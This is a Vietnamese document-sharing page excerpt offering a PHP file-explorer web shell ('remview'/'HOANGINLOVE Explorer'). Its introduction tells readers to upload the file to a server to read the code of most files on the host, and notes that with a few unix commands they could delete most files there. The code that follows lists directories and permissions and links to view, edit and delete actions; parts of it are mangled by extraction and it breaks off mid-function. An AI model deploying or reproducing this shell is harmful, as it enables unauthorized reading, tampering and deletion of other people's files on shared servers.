Tải bản đầy đủ (.doc) (8 trang)

View code

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (44.16 KB, 8 trang )

View code :
trang này đã được đọc lần
Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu
hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút
lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó.
<?php
$default_directory = dirname($PATH_TRANSLATED);
$show_icons = 0; define("REMY_EXPLORER_VERSION", "v1.0");
define("BACKGROUND_COLOR", "\"#000000\"");
define("FONT_COLOR", "\"#ffffff\"");
define("TABLE_BORDER_COLOR", "\"#ffffff\"");
define("TABLE_BACKGROUND_COLOR", "\"#000000\"");
define("TABLE_FONT_COLOR", "\"#ffffff\"");
define("COLOR_PRIVATE", "\"#ffbb99\"");
define("COLOR_PUBLIC", "\"#000000\"");
define("TRUE", 1);
define("FALSE", 0);
if (!isset($dir)) $dir = $default_directory;
$dir = stripslashes($dir);
$dir = str_replace("\\", "/", $dir);
$associations = array( "gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ),
"jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "jpeg" =>
array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "wav" => array( "function" =>
"", "icon" => "icons/sound.gif" ), "mp3" => array( "function" => "", "icon" =>
"icons/sound.gif" ) );
if ($action != "view"): ?>
<html>
<head>
<title>HOANGINLOVE Explorer - remview</title>
<style type="text/css">
<!-- .body { font-family: 'Verdana'; font-size: 13; color: <? echo FONT_COLOR; ?> } table, div,


tr, td
{font: 13 'Verdana'; color: <? echo TABLE_FONT_COLOR; ?> }
a {text-decoration: none; color: "#00ff00" }
a:hover {text-decoration: underline; color: "#ff0000" }
--> </style> </head>
<body class="body" bgcolor=<? echo BACKGROUND_COLOR; ?>> <? endif;
function readDirectory($directory)
{ global $files, $directories, $dir;
$files = array();
$directories = array();
$a = 0; $b = 0;
$dirHandler = opendir($directory);
while ($file = readdir($dirHandler))
{ if ($file != "." && $file != "..")
{ $fullName = $dir.($dir == "/" ? "" : "/").$file;
if (is_dir($fullName)) $directories[$a++] = $fullName;
else $files[$b++] = $fullName; } }
sort($directories); sort($files); };
function showInfoDirectory($directory)
{ global $PHP_SELF; $dirs = split("/", $directory);
print "<b>Directory /"; for ($i = 1; $i < (sizeof($dirs));
$i++) { print "<a href=\"$PHP_SELF?dir=";
for ($a = 1; $a <= $i; $a++) echo "/$dirs[$a]"; echo "\">$dirs[$i]";
if ($directory != "/") echo "/"; } print "</b>\n";
print "Free space on disk: ";
$freeSpace = diskfreespace($directory);
if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes", $freeSpace/(1024*1024*1024));
else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; };
function showDirectory($directory)
{ global $files, $directories, $fileInfo, $PHP_SELF;

readDirectory($directory);
showInfoDirectory($directory); ?>
<p><table cellpadding=3 cellspacing=1 width="100%" border="0" bgcolor=<? echo
TABLE_BORDER_COLOR; ?>>
<tr bgcolor="#000000"> <? if ($show_icons): ?> <td width="16" align="center" bgcolor=<?
echo TABLE_BACKGROUND_COLOR ?>>
</td> <? endif; ?>
<td align="center">
<b><small>NAME</small></b></td>
<td align="center"><b><small>SIZE</small></b></td>
<td align="center"><b><small>LAST MODIF.</small></b></td>
<td align="center"><b><small>PERMISSIONS</small></b></td>
<td align="center"><b><small>ACTIONS</small></b></td> </tr>
<? for ($i = 0; $i < sizeof($directories);
$i++) { $fileInfo->getInfo($directories[$i]);
showFileInfo($fileInfo); } for ($i = 0; $i < sizeof($files); $i++) { $fileInfo->getInfo($files[$i]);
showFileInfo($fileInfo); } ?>
</table>
<? }; class fileInfo { var $name, $path, $fullname, $isDir, $lastmod, $owner, $perms, $size,
$isLink, $linkTo, $extension; function permissions($mode) { $perms = ($mode & 00400) ? "r" :
"-";
$perms .= ($mode & 00200) ? "w" : "-";
$perms .= ($mode & 00100) ? "x" : "-";
$perms .= ($mode & 00040) ? "r" : "-";
$perms .= ($mode & 00020) ? "w" : "-";
$perms .= ($mode & 00010) ? "x" : "-";
$perms .= ($mode & 00004) ? "r" : "-";
$perms .= ($mode & 00002) ? "w" : "-";
$perms .= ($mode & 00001) ? "x" : "-"; return $perms; }
function getInfo($file)

{ $this->name = basename($file);
$this->path = dirname($file);
$this->fullname = $file; $this->isDir = is_dir($file);
$this->lastmod = date("m/d/y, H:i", filemtime($file));
$this->owner = fileowner($file);
$this->perms = $this->permissions(fileperms($file));
$this->size = filesize($file);
$this->isLink = is_link($file);
if ($this->isLink) $this->linkTo = readlink($file);
$buffer = explode(".", $this->fullname);
$this->extension = $buffer[sizeof($buffer)-1]; } };
$fileInfo = new fileInfo; function showFileInfo($fileInfo)
{ global $PHP_SELF, $associations; echo "\n<tr bgcolor=".TABLE_BACKGROUND_COLOR."
align=\"center\">";
if ($show_icons) {
echo "<td>"; if ($fileInfo->isDir) echo "<img src=\"icons/dir.gif\">";
elseif ($associations[$fileInfo->extension]["icon"] != "") echo "<img src=\"".
$associations[$fileInfo->extension]["icon"]."\">";
else echo "<img src=\"icons/generic.gif\">"; echo "</td>"; } echo "<td align=\"left\"";
if ($fileInfo->perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;
if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; echo ">";
if ($fileInfo->isLink) { echo $fileInfo->name." -> ";
$fileInfo->fullname = $fileInfo->linkTo;
$fileInfo->name = $fileInfo->linkTo; }
if ($fileInfo->isDir) { echo "<b>fullname\" ";
echo ">$fileInfo->name</b>"; }
else echo $fileInfo->name;
echo "</td>";
echo "<td>$fileInfo->size</td>";
echo "<td>$fileInfo->lastmod</td>";

echo "<td>$fileInfo->perms</td>";
echo "<td>"; if (!$fileInfo->isDir) {
if ($fileInfo->perms[6] == 'r') { echo "fullname&action=view\"> View"; }
if ($fileInfo->perms[7] == 'w') {
echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; } }
echo "</tr>"; };
function viewFile($file)
{ global $associations, $fileInfo;
$fileInfo->getInfo($file);

Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay
×